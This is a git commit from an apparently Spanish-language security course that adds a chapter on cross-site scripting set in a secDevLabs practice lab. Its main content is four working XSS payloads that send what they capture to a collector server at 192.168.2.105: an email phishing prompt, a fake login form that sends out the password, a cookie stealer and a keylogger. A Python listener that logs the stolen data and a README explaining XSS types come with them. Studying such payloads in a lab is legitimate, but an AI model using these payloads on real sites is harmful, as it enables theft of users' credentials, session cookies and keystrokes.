Add Tema 6 - CrossSite Scripting XSS
This commit is contained in:
parent
db98611323
commit
440b8c8a84
@ -0,0 +1,10 @@
|
||||
<script>
|
||||
var email = prompt("Ingresa tu correo electrónico para visualizar el post", "example@example.com");
|
||||
|
||||
if (email == null || email == ""){
|
||||
alert("Es necesario ingresar un correo electrónico válido");
|
||||
} else {
|
||||
fetch('http://192.168.2.105/?email=' + email);
|
||||
}
|
||||
|
||||
</script>
|
@ -0,0 +1,19 @@
|
||||
<div id="formContainer"></div>
|
||||
|
||||
<script>
|
||||
var email;
|
||||
var password;
|
||||
var form = '<form>' +
|
||||
'Email: <input type="email" id="email" required>' +
|
||||
' Contraseña: <input type="password" id="password" required>' +
|
||||
'<input type="button" onclick="submitForm()" value="Submit">' +
|
||||
'</form>';
|
||||
|
||||
document.getElementById("formContainer").innerHTML = form;
|
||||
|
||||
function submitForm(){
|
||||
email = document.getElementById("email").value;
|
||||
password = document.getElementById("password").value;
|
||||
fetch("http://192.168.2.105/?email=" + email + "&password=" + password);
|
||||
}
|
||||
</script>
|
@ -0,0 +1,5 @@
|
||||
<script>
|
||||
var request = new XMLHttpRequest();
|
||||
request.open('GET', 'http://192.168.2.105/?cookie=' + document.cookie);
|
||||
request.send();
|
||||
</script>
|
@ -0,0 +1,10 @@
|
||||
<script>
|
||||
var k = "";
|
||||
document.onkeypress = function(e){
|
||||
e = e || window.event;
|
||||
k += e.key;
|
||||
var i = new Image();
|
||||
i.src = "http://192.168.2.105/" + encodeURIComponent(k);
|
||||
};
|
||||
|
||||
</script>
|
@ -0,0 +1,30 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import signal
|
||||
import sys
|
||||
|
||||
from urllib.parse import unquote
|
||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||
|
||||
|
||||
def signal_handler(sig, frame):
|
||||
print('Servidor detenido...')
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
|
||||
|
||||
class RequestHandler(BaseHTTPRequestHandler):
|
||||
def do_GET(self):
|
||||
decoded_path = unquote(self.path[1:])
|
||||
print(decoded_path)
|
||||
self.send_response(200)
|
||||
self.end_headers()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
server_address = ('', 80)
|
||||
httpd = HTTPServer(server_address, RequestHandler)
|
||||
print('Servidor iniciado en el puerto 80...')
|
||||
httpd.serve_forever()
|
@ -92,8 +92,48 @@ Preparamos el fichero php searchUsers.php para hacer unas pruebas con Python par
|
||||
- Comprobamos uno a uno el hexadecimal: [sqli.py](./01_sqli/sqli.py)
|
||||
- Comprobamos si el contenido es igual que tarde más tiempo: [sqli_time.py](./01_sqli/sqli_time.py)
|
||||
|
||||
|
||||
## 6.2 CrossSite Scripting (XSS)
|
||||
|
||||
Una vulnerabilidad XSS (Cross-Site Scripting) es un tipo de vulnerabilidad de seguridad informática que permite a un atacante ejecutar código malicioso en la página web de un usuario sin su conocimiento o consentimiento. Esta vulnerabilidad permite al atacante robar información personal, como nombres de usuario, contraseñas y otros datos confidenciales.
|
||||
|
||||
En esencia, un ataque XSS implica la inserción de código malicioso en una página web vulnerable, que luego se ejecuta en el navegador del usuario que accede a dicha página. El código malicioso puede ser cualquier cosa, desde scripts que redirigen al usuario a otra página, hasta secuencias de comandos que registran pulsaciones de teclas o datos de formularios y los envían a un servidor remoto.
|
||||
|
||||
Existen varios tipos de vulnerabilidades XSS, incluyendo las siguientes:
|
||||
|
||||
- Reflejado (Reflected): Este tipo de XSS se produce cuando los datos proporcionados por el usuario se reflejan en la respuesta HTTP sin ser verificados adecuadamente. Esto permite a un atacante inyectar código malicioso en la respuesta, que luego se ejecuta en el navegador del usuario.
|
||||
- Almacenado (Stored): Este tipo de XSS se produce cuando un atacante es capaz de almacenar código malicioso en una base de datos o en el servidor web que aloja una página web vulnerable. Este código se ejecuta cada vez que se carga la página.
|
||||
- DOM-Based: Este tipo de XSS se produce cuando el código malicioso se ejecuta en el navegador del usuario a través del DOM (Modelo de Objetos del Documento). Esto se produce cuando el código JavaScript en una página web modifica el DOM en una forma que es vulnerable a la inyección de código malicioso.
|
||||
|
||||
Los ataques XSS pueden tener graves consecuencias para las empresas y los usuarios individuales. Por esta razón, es esencial que los desarrolladores web implementen medidas de seguridad adecuadas para prevenir vulnerabilidades XSS. Estas medidas pueden incluir la validación de datos de entrada, la eliminación de código HTML peligroso, y la limitación de los permisos de JavaScript en el navegador del usuario.
|
||||
|
||||
A continuación, se proporciona el proyecto de Github correspondiente al laboratorio que nos estaremos montando para poner en práctica la vulnerabilidad XSS:
|
||||
|
||||
- secDevLabs: https://github.com/globocom/secDevLabs
|
||||
|
||||
- Ejemplo de ataque XSS: [email.js](./02_crosssite_scripting_XSS/email.js)
|
||||
- Ejemplo de phising: [email_pass.js](./02_crosssite_scripting_XSS/email_pass.js)
|
||||
|
||||
Todo se debe tener un puerto web en escucha:
|
||||
```bash
|
||||
python3 -m HTTP.server 80
|
||||
```
|
||||
|
||||
- Ejemplo de keylogger: [keylogger.js](./02_crosssite_scripting_XSS/keylogger.js)
|
||||
|
||||
En este caso levantaremos un servidor con el script [server_keylogger.py](./02_crosssite_scripting_XSS/server_keylogger.py) para tener más limpia la salida.
|
||||
|
||||
- Podemos redirigir a una página web:
|
||||
```
|
||||
<script>
|
||||
window.location.href = "https://vergaracarmona.es";
|
||||
</script>
|
||||
```
|
||||
|
||||
- Podemos realizar un hijacking cookie con el script [hijacking_cookie.js](./02_crosssite_scripting_XSS/hijacking_cookie.js)
|
||||
```
|
||||
<script src="https://192.168.2.105/test.js"></script>
|
||||
```
|
||||
|
||||
|
||||
## 6.3 XML External Entity Injection (XXE)
|
||||
|
Loading…
Reference in New Issue
Block a user